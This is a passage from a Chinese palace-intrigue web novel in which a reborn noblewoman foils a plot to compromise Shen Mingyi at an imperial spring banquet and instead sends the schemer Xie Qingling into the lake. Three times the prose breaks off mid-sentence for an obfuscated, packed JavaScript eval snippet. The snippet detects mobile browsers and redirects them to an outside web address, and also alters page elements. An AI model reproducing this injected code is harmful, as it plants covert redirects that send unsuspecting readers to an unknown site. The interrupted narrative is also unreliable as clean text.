“若真是孤独命，臣弟也认了。世间事，本就不由人算计得尽。” 褚元羿敛了笑意。“罢了，宫宴你既要来，便随意赏赏花，别生出事端。” 褚元唐垂下眼睫，应道：“谨遵圣命。” 殿门再度阖上，殿外春光一片大好。 受邀的女眷们陆续进宫，到了正门，随行的丫鬟便被宫人拦下，只许主子独自入内。 崔莞言刚与青禾分开，正欲前往御花园，便见一位年约四十的宫装妇人快步迎来，行了一礼：“二小姐，皇后娘娘请您移步昭华宫一叙。” 她步伐一顿，抬眸望了眼那人。 皇后，便是她的亲姐。 前世姐妹二人命运交错，崔莞言被赐婚那日才在正殿上远远见过她一次。不久后，皇后病逝，宫中只道是积劳成疾，而她在王府苟活，身陷囹圄，终也未能再见上一面。 崔莞言随那姑姑一路穿过偏殿回廊，前方便是昭华宫。 昭华宫为六宫之首，金瓦朱檐，气势庄严，琉璃花窗倒映阳光，格外辉煌。 她抬眸望去，不知是不是错觉，那重重檐影之下，竟有几分熟悉的压迫感。 跨入殿门，内中陈设虽不失皇后规制，却不显张扬。 还未抬头，就听见帘后传来女子温和的声音：“莞言来了，快过来让本宫瞧瞧。” 帘幕后走出一位着凤纹华服的女子，年约二十五，眉眼温婉清秀，却带着难掩的疲色。 她正是当今皇后，崔家长女崔华婷。 “莞言见过皇后娘娘。” 崔华婷亲自将她扶起：“都这么大了……我记得你才出生那会儿，我还抱过你，求父亲别把你送走……那时候你小小的一团，眼睛特别亮。”话至此处，竟落下泪来。 崔莞言怔住。 她以为这次召见，无非是例行寒暄，甚至心底已有防备，想着崔家长女身在后宫，如何也不可能真心亲近她。 可眼前的长姐为她落泪，神情悲怜，不像是假。 一时间，她不知作何反应。 崔华婷抬手拭泪，声音微哽：“这些年，你吃了不少苦。我身在宫中，时常挂念你，曾几次往封州送了些东西，你可曾收过？” 崔莞言摇了摇头，眼中浮现出难掩的讶异。 自幼在封州长大，她从未感受到半分崔家的温情，竟不知，在这深宫之中，还有人记挂着她。 崔华婷闻言，脸色陡沉，抬手一掌拍在几案上，沉声道：“好大的胆子，竟连本宫送去的东西也敢私吞。” “来人，立刻传信封州。就说封州连年不靖，百姓困顿，既是国公府旁支世家，理应为朝廷分忧。自今日起，开设粥棚半年，新建义学五座，所需银两，由叔伯一家自筹。” “对了，记得以国公府二小姐的名义施粥，派人盯着他们。” 她虽是皇后，但父亲一向重视族亲，想为妹妹讨回公道，却也只能做到这个地步。 崔莞言本就想报复虐待她的叔伯，封州苦寒之地，叔伯虽是当地豪绅，但这一番施善下来，可是要倾尽家产的。 “莞言谢过长姐。” 姐妹俩闲叙之余，掌事姑姑端来一碗药来。 崔华婷看了一眼便叫放下，问：“陛下呢？” “去沈贵妃那了。” 这沈贵妃就是沈明宜的姐姐，忠义侯府长女，进宫三年，深得皇帝宠爱。 崔华婷听了像是习以为常，让姑姑退下。 “长姐，这药是……”崔莞言问。 她记得极清楚，前世崔华婷自小产后再难有孕。崔家急切盼她诞下皇嗣，便四处搜求偏方。药方多凶猛，姐姐本就身子亏空，后来竟病重早逝……怕是与这药脱不了干系。 崔华婷不知如何向她解释，只道：“……不过是旧疾未清，偶尔调理罢了。” 她欲言又止，轻叹一声：“旁人都道皇后风光，可我不过是崔家的女儿，嫁入宫中替家族撑起门楣罢了。如今还撑得住，就得撑着。” 话到此处，她似不愿再提，转开话题：“你如今回来了，有我在，旁人便欺不了你。莞言，宫宴之上若有人刁难，你只管告诉我。” 崔莞言静静望她良久，展颜一笑：“长姐安心，我晓得轻重。” “去吧。” 崔莞言起身告退，目光却又扫过那碗汤药，药气浓烈刺鼻，端上来不过片刻就将殿内熏得尽是药味。 她思忖片刻还是开口：“长姐，你信我吗？” “当然信。” “这药……别再喝了，不止伤身，久服之下，只怕伤及性命。” “怎么会，这是母亲特地寻来的……” 李氏这蠢妇。 崔莞言心中冷笑，倒真不知，她是如何养出长姐这样的人，又怎敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970182|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此作践自己亲生的女儿。 “长姐若信我，就别再试了，崔氏一族的荣耀不值得我们把命赔上。” 崔华婷沉吟片刻，脑中回想起这药服下月余，身体却愈加虚弱，连太医都曾暗示药性猛烈。她本已有所迟疑，只是顾及母亲劝说，一直未敢停药。 此刻望着崔莞言眼中那分明透出的笃定，她抬手，将药汁尽数倒入花盆中。 “长姐信你，这药，我不喝了。” 崔莞言这才安心退下，前去御花园赴宴。 天子脚下，寸地皆规矩森然。 她自回京后头一回入宫，前世此地她踏入得太晚，许多事不过是听说，亲眼所见者少之又少。 而今再来，景色虽新，却分外熟稔。 御花园内园内春意正浓，碧桃、海棠、玉兰开得热烈，香风拂面。长廊尽头，几位官宦公子倚栏而立，正与不远处几位贵女寒暄应对。 崔时与人寒暄后便悄悄将谢清菱及其兄长谢景胜叫到一旁。 “都安排好了吗？” “崔兄放心，我妹妹办事一向稳妥。”谢景胜忙答。 谢清菱亦谄媚一笑：“清菱必不负崔公子所托。” 说罢，三人眼神一道投向人群中那位身穿浅粉百蝶罗裙的女子身上。 她正立在一株海棠树下，与身旁几位贵女轻声交谈，唇角带笑，眼眸生辉，春光映人更添几分明艳。 “你只需照计行事，等她落了水，事就成了一半。”崔时脑中已然想到花轿抬进崔府的场景，忍不住笑出来。 谢清菱眨了眨眼，露出一抹玩味笑意：“只要沈家觉得她清白有失，届时愿嫁不愿嫁，还不是由不得她。” 谢景胜低声附和：“我已安排好人，不出一日流言便能传遍上京……” “最好别出差错。”崔时死死盯着沈明宜的方向，“这可是你的投名状。” 谢景胜连连点头：“崔兄放心。” 几人密谋时，御花园另一端，一道红影缓步而至。 崔莞言立在偏僻处，一眼便看见人群中那明艳的少女沈明宜，一双圆眼极亮，笑起来，让人想将这世上最好的东西都捧到她面前。 她身旁，忽然走出个熟面孔。 谢清菱步履轻盈，眉眼带笑上前搭话，不过三两句，就哄得沈明宜与她结伴而行。 前世，崔莞言只知道沈明宜落水后，崔时舍命相救，两人自此定下婚约。谢清菱后来与沈明宜走得极近，她那时也未曾多想。 如今看来，崔时设局，怎会独缺心腹相助？这谢清菱应是局中最重要的棋子。 她正想跟上去，园门方向传来一阵动静。 有内侍在前高声通传：“周王殿下到！” 一抹玄衣步入御园，未有一语，却叫人忍不住回望再三。 园中贵女皆止了言语，纷纷敛声，眼波流转间尽是藏不住的艳羡与心思。 尤其谢清菱那笑意几乎要溢出眼角。 她素闻周王殿下在北朝养成了阴狠决绝的性子，归京途中又亲手斩杀贪官，如今一见，竟如此仪表堂堂、英姿不凡。 那日算命先生说她命有贵相，将来定可高嫁，她还常想京中贵胄中，哪有能叫她心甘情愿嫁去的，现下想来，这周王……倒是上上人选。 正想趋步上前，身后沈明宜却喊她。“谢姐姐，我们走吧。” 谢清菱这才回过神来，敛了神色，笑着转身，为沈明宜引路。 崔莞言立在花树一隅，目光平静，心中却泛起层层暗潮。 她此刻无心去看褚元唐，满脑子只在思索如何救下沈明宜。 若贸然上前，只怕打草惊蛇。 11. 宫宴闹剧3 春宴白日，各家子女在园中自由游赏，沿路茶点不绝，各处花架新张，供女眷驻足歇赏。 随暮色渐降，宴席设于回廊水榭之间，宴罢，尚有夜游，又在湖畔设投壶取彩、临水戏谜之乐，供诸女郎、公子试展才艺。 虽未明言赐婚，但贵胄间心照不宣，御前春宴，场面越盛，落入眼中的人便越多。 崔莞言立于柳影婆娑处，目光掠过湖心。 当年春宴结束后，御湖安排了灯舞，湖中画舫游移，岸上贵女成群而立，人多拥挤，沈明宜不慎落了水。 消息传到她耳中时，已是数日后。 众人只道沈家小姐福薄，也有人悄悄议论，说她醒来时断断续续提过“有人推我”，但当时人多混乱，她自己也没看清。 那时灯火掩影，且临水台本就逼仄，推搡之间坠水并不稀奇，于是这事最后不了了之，只说是意外。 如今想来，谢清菱虽参与其中，但那一推恐怕非她亲自动手。 日未西沉，湖畔已开始布置夜宴游赏。 御湖西岸新设了一座临水台，崔莞言抬步向前，行至台边，扶上那围栏。 栏杆并不高，她探出半身去试，若有人推她这样一个女子，只需两成力，稍一失衡便足够叫人失足落入湖中。 她正要收回身子，袖口却忽然一紧，有道力自身后袭来，将她整个人猛地往后一扯，脚步踉跄，堪堪稳住，回头，便撞褚元唐那张冷峻愠色的脸。 “在找死吗？”他目光里带了几分不加掩饰的怒意。 崔莞言手腕被他紧攥得生疼，挣了两下，未能挣脱，只能抬眼看他：“王爷这是……见不得臣女赏景？” 褚元唐却并未松手：“你方才那样探出身子，是在赏景？若是失足落水，你可担得起搅乱春宴的名声？” 今日他这几句话，可比前世一整年都多。他这是以为她要跳湖寻死？还是又打算上演一次英雄救美？ 前些日子还亲口说她靠近他就是找死，如今却跑来“搭救”，真是好笑得紧。 “王爷，还不舍得放手吗？男女授受不亲，在宫里这般拉扯，对臣女的名声不好。” “臣女向来稳重，不会落水。倒是王爷……方才那一把，可是救命之举？难不成早已在旁候着？” 这话分明是带刺的，褚元唐的眉拢得更紧了些。 她又缓声道：“宫中春宴，贵女众多，王爷若是有空，不如去西苑走走，那儿的花比这儿开得艳。” 言下之意，是说他自作多情，让他别在她面前碍眼。 褚元唐面色沉了几分，冷冷一甩手，转身大步离开，袖袍翻起一阵风。 望着他的背影，崔莞言觉得可笑，他居然只是走了？这个向来滴水不漏、情绪晦暗的男人，自归京以来，情绪起伏得可谓反常。 她不知他到底藏了什么算盘，但能肯定一点，他的出现，确实牵动了许多人的神色。 尤其谢清菱，今日神情太明显了。 崔莞言并非未曾见过少女怀春，只是谢清菱看向褚元唐时的眼神，不单是欣赏，更是笃定、贪婪，像是盯上了什么势在必得之物。 她不是圣人，要救沈明宜，前提是自己安然无虞，利用褚元唐将谢清菱引开也未尝不可。 - 一整日，崔莞言都在园中四处行走，有人想上前攀谈，她便温声几句回挡，亦有人悄声议论，低语中似提及“灾星”二字。 “就是她吧？听说当年她一出生，国公夫人就小产了……” “怪不得被养在外头那么多年，谁愿认回这样的女儿……” “听说是封州长大的，气度倒也不凡。” 崔莞言止步转眸，只静静望了过去，未多言一句，那几名贵女却仿若被扼住喉咙，顿时噤声，低头施礼，连退两步，再不敢口出轻言。 另一边，谢清菱则拉着沈明宜，兴致勃勃地穿行花下亭间，一会儿赏花，一会儿评衣，话题不离脂粉风流。 沈明宜起初还能敷衍几句，到了后来，眉宇间已有些不耐。她素来爱静喜文，最厌这种无意义的攀比闲话。只是今晨应下了同游，若中途推辞，便失了体面，只得咬牙陪着，一路点头应和。 日暮时分，御花园内灯火初上，数十盏宫灯从水边一路延至宴台，宛若流光织就的玉带。 众人齐齐起身，向着主位叩首行礼。 文帝一袭明黄常服神色庄重，其后，贵妃沈氏与皇后并肩而至。 崔莞言随众女跪拜起身，方才欲按例归位，皇后却突然高声道：“莞言，来我身边。” 众人一怔，连崔时也愣在原地，他与长姐一同长大，多年来没给过他什么好脸色，怎的对十几年未谋面的妹妹如此亲昵？ 崔莞言绕过几案，于万众目光中，落座于皇后近侧。 皇后亲自替她理了理发簪，笑意宴宴：“你刚回京，坐我身边，我安心些。”那语气不似客套，更像长辈自家人间的偏爱。 这一幕落入诸人眼中，原本那些因国公府流言而起的非议便如鱼骨般哽在喉间。 先前尚有贵女在暗中轻声议论，说她身份尴尬、受主母冷待，如今谁还敢多言半句？ 崔莞言低头垂眸之际，余光掠过殿上另一侧主位旁的身影。 褚元唐正坐在皇帝左下首，视线似是落在她身上。 她眼神流转，与他目光将要相接之际，他却蓦地偏开了头，有意避让。 宴席另一头，沈贵妃与妹妹沈明宜却并无外人眼中的姐妹情深。 崔莞言早有所闻，这二人并非同母，自幼便暗中争锋。沈明宜天生丽质又才名远播，向来得忠义侯宠爱。直到入宫后，沈贵妃才算真正扬眉吐气，将那口多年的气一寸寸夺了回来。 宴席渐起，觥筹交错间，殿中热闹非凡。 贵妃举杯劝酒，几位权贵世家女儿接连献舞，笑语盈盈。皇后偶尔与崔莞言低声言笑，引得旁人频频侧目，心思各异。 而褚元唐自始至终未曾多言，唯在崔莞言偶尔饮茶之际，眸光才动了几分。 谢清菱坐在内苑一侧，自入席后便频频回望主位，目光久久停留在褚元唐身上，几次欲起又止，终究未曾找到借口靠近。 夜色渐深，宴席至酣。 文帝起身，举盏笑言：“湖上灯舞已备，诸卿可前往游赏，不必拘于礼数。” 众人闻言纷纷起身，移步向御湖而去。 沈明宜与谢清菱站在投壶台前，目光却并不在局上。谢清菱兴致正浓，沈明宜却早已神色倦倦，只敷衍地点头。 灯舞尚未开始，离岸不远处的水台也仍在布置。崔莞言随意绕行，身后跟着皇后派来的宫女欣儿。 远远望去，褚元唐立在岸边与人交谈。 她吩咐宫女去倒了一杯味道极重的桃花酿，算计好时间走过去，恰撞上迎面走来的谢清菱与沈明宜。 “谢小姐，好巧。”她故意抬高声量，思量是否能引起褚元唐的注意。 果然不过片刻，他朝这边看过来。 “崔小姐。”谢清菱应声，拉起沈明宜的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970183|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“明宜，这位是庆国公府的二小姐。” 听到庆国公府四个字，沈明宜的脸色一下变了，她一向厌烦崔时纠缠不休，如今见到他那妹妹，更是连应付都懒得装。 见她不肯打招呼，谢清菱尴尬地笑了两声，心里却想，再怎么不愿意，过一会儿还不是要成一家人。 正要打圆场，又看到崔莞言的眼神正看向别处，顺着那方向看去，竟碰上周王的眼神。 她又惊又喜。 崔莞言自是看得清谢清菱眼底那点被欲望灼亮的野心。 她与褚元唐同路归京一事，早已封锁，知者寥寥。此时便装作初次见那人，低声补了一句：“那位公子似乎在看我们……看起来，好像是在看谢小姐？” “好像的确是在看……”沈明宜也将信将疑地说。 谢清菱一脸娇嗔，“你们别说胡话，那可是周王殿下，怎么会看我……” 她嘴上推辞，眼却没挪开半分，目光急切地黏在他身上。 周王神情虽冷，却偏有股说不清的张力。她想，若真是看她，也不是不可能。 容貌输她们，但那等冷淡无趣，怎敌得过我知趣贴心？一个冷面王爷，哪能喜欢死水一般的性子？ “说不定殿下是拉不下脸。”崔莞言接着劝她，“谢小姐若主动，兴许便成了这一场春宴的头筹。” 这话一出，谢清菱果然犹豫了，脸色浮上一抹难掩的喜色。 助兄长和崔时成事的确重要，可她自己呢？若错过这次机会，私下里怎好舔着脸去找周王？这一步若成，她谢清菱的命数便换了。 她眼中神采飞扬，敛起笑意，柔声道：“明宜，你在此等我一会儿。” 不等沈明宜回应，她便已转身，抬步朝褚元唐那边行去。 沈明宜侧头看了崔莞言一眼，总觉得她话里有话，但又挑不出半点不妥来。 崔莞言看着那急不可耐的步伐，淡淡地笑了。 人若急着去摘高枝，怕是要忘了自己几斤几两。 她摇了摇头，“谢小姐倒是有勇气。” 沈明宜想起谢清菱那眼神，也轻轻勾了唇角。“她一向眼高于顶。不过周王殿下……我瞧着，怕不是那么容易应付的。” 话音刚落，崔莞言似笑非笑地看她一眼，从一旁宫女手中取过那早已准备好的桃花酿，举到她面前。 “沈小姐要不要尝尝这桃花酿，甜得很。” “多谢崔小姐美意，只是方才饮多了些，此时再沾杯，怕失了仪。” 崔莞言似乎也未强求，只微笑着将酒杯撤回些许，可就在手腕略动之间，杯中酒液溅了出来，笔直泼在了沈明宜胸口处。 绣着彩蝶的罗裙晕开一大片，湿迹斑斑，极是显眼。 “哎呀……”她神色带着几分歉意，“沈小姐莫怪，我这人向来笨手笨脚。” 沈明宜心情本就不佳，又被这一洒弄得一身狼狈，却不好当众发作，只能强压情绪，“无妨。” “衣裳湿成这样，夜里风凉，怕要着凉。快带沈小姐去换身衣裳。”崔莞言对身后的欣儿说。 皇宫规矩森严，穿着湿衫行走已是失礼，更别说她向来不肯向沈贵妃低头，断不能让那位见了笑话，沈明宜只得压下羞恼，随宫女离开。 谢清菱正神采飞扬地站在褚元唐面前，絮絮言语唇角含笑，浑不知身后风向已变。 她尚沉浸在自以为的高嫁得计中，全然未察觉，她应下的那场局，已经败了一半。 剩下的一半，崔莞言会让亲手补上。 12. 宫宴闹剧4 褚元唐立于湖畔与人低声交谈，话未说完，却捕捉到一道熟悉的声音。 他偏头望去，果然是她。 隔着人群，崔莞言姿态娴雅，语调却比旁人略高半分，不多不少恰好落入他耳中，像是专为他一人说的。 她在算计他。 他本应厌恶，可那双眼，那气定神闲的模样，总让他移不开目光。 她身侧的，是沈明宜。另一女子陌生，眼神灼灼，频频朝他投来意味不明的目光。 崔莞言该不会是想拿他做饵？ 他正思量间，一声娇唤将思绪打断。 “殿下。” 谢清菱款款而至，嘴角挂着得体笑意，眸光含情地看着他，“臣女远远看见殿下，特来致意。不知……是否叨扰？” 离周王不过两步之遥，她心中砰砰直跳，远看周王身材颀长气宇不凡，如今靠近了，更觉五官俊秀，尤其是那双眼，虽冷，却分外动人心魄。 若真能攀上周王，自己便能踩在沈明宜头上，兄长也不必对崔时言听计从。 然而褚元唐眉心不动，连半分应付的笑都无。 他冷声道：“知道叨扰，还敢过来？” 谢清菱笑意僵住，却仍努力维持体面：“臣女原本并无打扰之意，只是……方才见殿下似是在看这边，心中一时误会，才斗胆前来致意。” 言语委婉，眼波羞怯，带着几分引人遐想的意味。 褚元唐嗤笑一声：“见人看你一眼，便急着送上前来？大街上多的是人瞧你，你可要一一致意？” 周围的贵女本就等着看笑话，此刻已是压不住笑意，纷纷掩唇。 “这谢小姐也太会自作多情了。” “哎，这下可丢了面子。” “她真当王爷是她勾得动的？” 谢清菱面色刹那间白了又红，像是被当众剥了皮般难堪。难道刚刚是她误会了？都怪沈明宜和崔莞言那两个贱人，若非她们挑唆，自己怎会一时得意失了分寸？ 她强自镇定，弯身行了一礼，“是臣女唐突了，还望殿下恕罪。” 褚元唐瞥了一眼崔莞言的方向，沈明宜已然消失不见，她的谋算应是成了。 收回目光，他侧过脸，并不理会谢清菱的请罪。“滚。” 谢清菱只觉心口被重重一击，羞愤难当，咬牙快步离去，然仓促间裙摆绊住了脚，险些摔倒在众人面前，还是身旁宫女眼疾手快扶了她一把。 人群中，几声低笑再起，有人毫不避讳地嗤了一声。 她恨不能当场遁走，恼羞成怒地骂道：“怎么走路的！” 宫女低头不敢作声。 踉跄着回到投壶台边，她一看，原本站在这里的崔莞言和沈明宜，早已不见了踪影。 不远处几名女眷正在笑谈赏灯，投壶台边只剩几名内侍在收拾。 完了。周王没能勾到，崔时那边也要交不了差。 她提裙快步穿行回廊，压低声音焦急唤人：“明宜？你在哪儿？” 无人应答。 沈明宜不是个轻诺寡信之人。难不成她早已去了临水台？ 湖上灯舞已起，笙箫合鸣，画舫徐行，灯影交织，御湖畔人声鼎沸，喝彩连连。 可这人间繁华，与谢清菱毫无关系。 她满场搜寻，偏偏今夜贵女多半梳的皆是一样的高髻样式，一望望去皆似相仿，叫她瞪红了眼也分辨不出谁是谁。 来回寻了两圈，连沈明宜的影子都没见着。 忽然，有人从人群中悄悄扯住了她。 谢清菱猛地转头，满脸期待，下一瞬期待崩塌。 是她买通的宫女。 “谢小姐，”宫女低声催促，“不是说灯舞第二曲时动手……人呢？” 谢清菱脸色一滞，强撑着说：“走散了，你同我一起找。” 可沈明宜早已不在此处，便是把眼睛看瞎也是找不到的。 崔莞言立在阴暗处，看那二人在人群中来回穿梭，急得满天大汗神色惶惶，心中不免发笑。 为做崔时的走狗，谢清菱竟连自己苦心经营的脸面都顾不得了。 说起来……崔时和谢清菱倒是很相配。 都是道貌岸然、口蜜腹剑的。 今日春宴，若不成一对佳侣岂不可惜？她顿时有了更好的主意。 谢清菱正在临水台边穿梭，眼中尽是焦急。 “你可见沈二小姐？”她拉住一名贵女问道。 “未曾。”贵女被她拉得一愣，语气也不甚好听。 谢清菱又去问旁边的两位，“二位可曾见过沈家小姐？就是方才与我一道的……” 此举惹得那几位贵女神色不善。 “好端端的，问什么问？我们是在看灯舞，又不是寻人使。” “这谢家小姐倒真不识趣。” 有人低声讥道：“早些时候不是还在巴着周王殿下？怎么现在这副模样？” 事已至此，谢清菱哪里还顾得上脸面，只一个劲儿地在人群种打转。 不知不觉，她已站到临水台最前处，身后便是波光潋滟的御湖，人群拥挤，她几次侧身避让，脚下都踉跄着。 正此时，崔莞言瞥见刚刚送沈明宜去更衣的宫女欣儿正沿小道走回。 “沈小姐呢？”崔莞言问。 “还在偏殿更衣，奴婢担心您，便先赶回来了。”欣儿喘着气道。 崔莞言沉思半瞬，低声吩咐：“你往谢家小姐前方不远处站着，唤几声沈小姐。” “小姐要奴婢唤她作甚？她又不在……” “照做就是。” 欣儿虽不解其意，却不敢违命，低头应了是，快步向人群前排走去，刚站定，便依着吩咐，在临水台前高声唤道：“沈小姐！沈小姐！” 声音恰好传入正在人群中焦急穿行的谢清菱耳中。 她眼睛一亮，循声望去，未见沈明宜的影子，只能继续往前挤，像抓住了救命稻草般边走边踮脚张望。 “明宜？”她挤向声音传来的方向，目光焦灼。 崔莞言原不打算亲自动手，谢清菱这等货色实在不值得。 可如今见她为崔时如此卖命至此，她忽而觉得，若将二人牢牢栓在一起，今夜这出戏，才算落幕得有滋味些。 既然如此，这一推还是自己来得痛快。 她悄无声息地靠近，脚步极轻，行至谢清菱背后一步的距离，站定。 一只素手自袖中伸出，人群涌动间，她轻轻一推，方向角度都算得极准，不偏不倚，恰将谢清菱的重心往外一送。 “啊！” 谢清菱只觉背后一股力道袭来，脚下踩空，整个人竟毫无预兆地朝湖中栽去！ “噗通！” 水声炸开。 众人惊呼四起，纷纷张望。 “有人落水了！” 画舫上的乐师纷纷顿住笙箫，灯舞中断，御湖前一片混乱。 人群哗然，惊惶四起，纷纷朝湖边围拢。 而崔莞言已悄然退后几步，神情如旧，站在宫人之后，仿佛不过是个恰好路过的观赏者。 湖中人影扑腾浮沉。 “救命……咳咳……救命啊……” 众目睽睽之下，无人敢下水。若沾染闺秀之身，纵是为救命，也于声名有损，得不偿失。 就在众人尚未回神之际，湖的另一边，又是一声“扑通”响。 有人跳了下去！ 崔时的动作还真是快，生怕有人抢在他前面。 听着众人七嘴八舌的议论，崔莞言不慌不忙，掠过混乱的人群，沿着回廊小道快步行至一处弯口。 那里水流缓岸势平，最适合救人上岸。 不多时，水面泛起波动。 崔时拽着人影自湖中游近，一手紧搂那人腰侧，另一手托着肩背。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970184|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “沈小姐没事吧？”他一边上岸，一边低声询问。 岸边已围了不少人，见他抱着个浑身湿透、头发披散的女子上来，顿时炸了锅。 “竟是崔家公子跳下去救人？” “这人是谁？沈小姐？莫非是……沈明宜？” “啧，这模样……贴得好紧啊。都快抱成一团了。” “衣衫不整，肌肤相贴……这下怕是传出风言风语了。” 有人压低了嗓音笑着摇头：“沈贵妃那性子，可容不得妹妹招惹是非。” 而就在众人窃语纷纷之时，人群中忽然传来一声冷语：“崔公子找我？” 众人纷纷回头看去。 竟是沈明宜！ 她整整齐齐地站在人群外，神色冷淡，眉目间带着狐疑。 崔时仿佛被雷击一般怔住。 沈明宜没落水，那他怀里的人，到底是谁？ 他低头将那人扶正。 女子长发湿漉漉地贴在脸上，原本画得精致的妆容也被水晕开了几分，直到他看清那张脸。 谢清菱！怎么会是她？ 沈明宜已走了过来，淡然地扫了谢清菱一眼：“谢小姐落水了？” 谢清菱早已被呛得咳喘不止，披头散发，满面狼狈，哪还有半点平日的风姿？她挣扎着想开口，声音却被周围人的低笑与讥讽吞没。 “不是沈小姐，是谢小姐？” “哎呀，一男一女共处湖中，湿衣贴身，这可怎么解释呀。” 人言如潮，层层袭来。 谢清菱张着嘴，却一句话都说不出口。完了，她的名声彻底完了！该落水的应是沈明宜，怎的最后成了她自己？ 分明是有人推她。 可此时，她已无力辩解，只得装作晕过去。 人群看热闹看得起劲，窃语声此起彼伏，这时一道清亮的女声自人后传来：“都退开。不许看了。” 崔莞言皱着眉语气不善。 她话音落下，四周俱寂，宫人们忙不迭劝退围观者。 她转眸看向湖边狼狈不堪的一对男女，讶然道，“谢小姐落水了？快披上衣裳，别再受凉。” 说着，她拿起宫女奉上的干净披帛，替谢清菱披上。 谢清菱怎么唤也唤不醒，可眼睛还在颤，脸上已分不清是泪还是水。 从前在沈明宜面前装好人，现在，自己成了“万众瞩目”的那一个，滋味如何？ 她又转头朝崔时看去，神情关切。“二哥怎也落了水？可是为了救人？” 崔时谋划彻底失败，此刻正暗自懊恼，眼前的谢清菱又湿又重，贴在身上如同一块死物，湖水的腥气和脂粉味混在一起，令人作呕。 崔莞言这句“救人”，落在他耳中像针扎一般。 他猛然松手。 谢清菱毫无防备地摔落在地面上，脊背重重磕上石沿，眼前一阵发黑，疼得几乎叫出声来。 可她此刻还在装晕，只能咬紧牙关，任凭身体抽痛，只将头偏过去些，避开众人目光，咬唇忍耐不动。 “人命关天，我与谢家也算有旧交，自不能坐视不理。” 崔时话说得冠冕堂皇，心里大约巴不得谢清菱去死吧？ 崔莞言眼中关切不变，“谢小姐就交给宫人们照顾吧，二哥快去换身衣裳，免得着凉。” 崔时对眼前妹妹本就无甚反感，此刻见她如此处变不惊，又对自己关心备至，更是卸下了防备。 “走吧。”他看都未看谢清菱一眼，抬脚便走。 崔莞言紧随其后。 人群陆续散去，沈明宜将一切都看了个明白，谢清菱与她素日交集并不多，今日却偏要邀她同游，而有人落水后，崔时的反应如此迅速…… 难怪崔莞言将她支开，她是在帮她。 湖岸对面，褚元唐也将这场闹剧看了个分明。 国公府，怕是今夜无眠了。 13. 佳偶天成 “蠢货！竟连这点小事都办不好！” 崔晋又是一鞭子抽在崔时身上。 崔时疼得脸色煞白，五官拧在一起，却不敢吭一声。 一旁的庄氏已然哭成泪人，抱着崔晋的大腿：“老爷，别打了。” 崔晋稍一抬脚，便将庄氏掀翻在地，眼里毫无怜惜。“看看你教出的好儿子，此番算计忠义侯府不成，非得娶了那谢清菱不可。” 庄氏一听哭得更厉害了，原本想着若能将沈明宜娶进门，便可借侯府之力，助儿子顺利当上世子…… 都怪谢清菱！定是那小贱人自己想攀附国公府，才哄骗崔时让她入局，这样的女人进了门，还不知要闹出多少事来。 见崔时两眼迷离，再受几下定会晕过去，她心痛如绞，一时口不择言：“老爷，实在不成娶进来做妾室也罢。” “住口！”崔晋瞪了她一眼。“谢家门第不低，怎会让女儿做妾？” 这庄氏真是愈发没脑子了！崔晋刚得知事败，就让人封锁消息，可悠悠众口，如何能全堵住？看着面前哭哭啼啼的母子，他怒气更盛。 “够了，都滚出去！” 庄氏忙擦了泪扶起崔时，跪得太久，两人走起路来一瘸一拐滑稽非常，惹得巡夜小厮们捂嘴偷笑。 回到房中，崔时几乎要倒下去，李氏忙去倒水，见桌上放了碗冒着热气的汤。 “这是？”庄氏问。 “是二小姐送来的驱寒汤。”小厮说。 “她有这么好心？”庄氏阴阳怪气道，心想不会在汤里下了毒吧？ 崔时躺在床上，颤着声说：“我看莞言不像个有心计的。” 庄氏不以为然，她见过那丫头伶牙俐齿的样子，回府才几天，就让老太太言听计从，恨不能将国公府掏空了喂进她嘴里去，怎可能真的单纯无害？但转念一想，她再大胆也不敢公然下毒，便将汤端过去，递给崔时。 “这次，我们怕是只能认栽了。”庄氏叹气道。 崔时想起谢清菱那令人作呕的样子，顿时气上心头，敢坏他好事，就算娶了，也得叫她生不如死。 “母亲安心，就算没有侯府助力，我也比那瘸子强千百倍，世子之位早晚是我的。” 闻崔时如此“豪言”，庄氏倍感欣慰，不过……那瘸子真是活得太久了，还要占着世子的名号到何时？她得快些为崔时扫清障碍。 - 深夜，国公府烛火不歇，南院的灯也点得极亮。 张嬷嬷却害怕得紧，蹑手蹑脚推开门，生怕被桃枝那丫头撞见。 她刚进卧房，见崔莞言坐在桌前笑着看她，瞬间后背发凉，不自觉地跪了下来。 “二小姐，您找我。” “嬷嬷见我像见了鬼似的，让旁人知道还以为我凶神恶煞呢。” 崔莞言故意打趣，一句话便吓得张嬷嬷浑身发抖，语无伦次。 “怎么会……二小姐天生丽质，是……是天上的仙女。” “起来吧。” 崔莞言扫了一眼，张嬷嬷比起前几日又胖了些，李氏对下人倒是大方从不苛待，将他们一个个养得膘肥体胖，越发有力气替她作恶。 今日李氏应是府里最高兴的。 “主母今日可还欢喜？”崔莞言问。 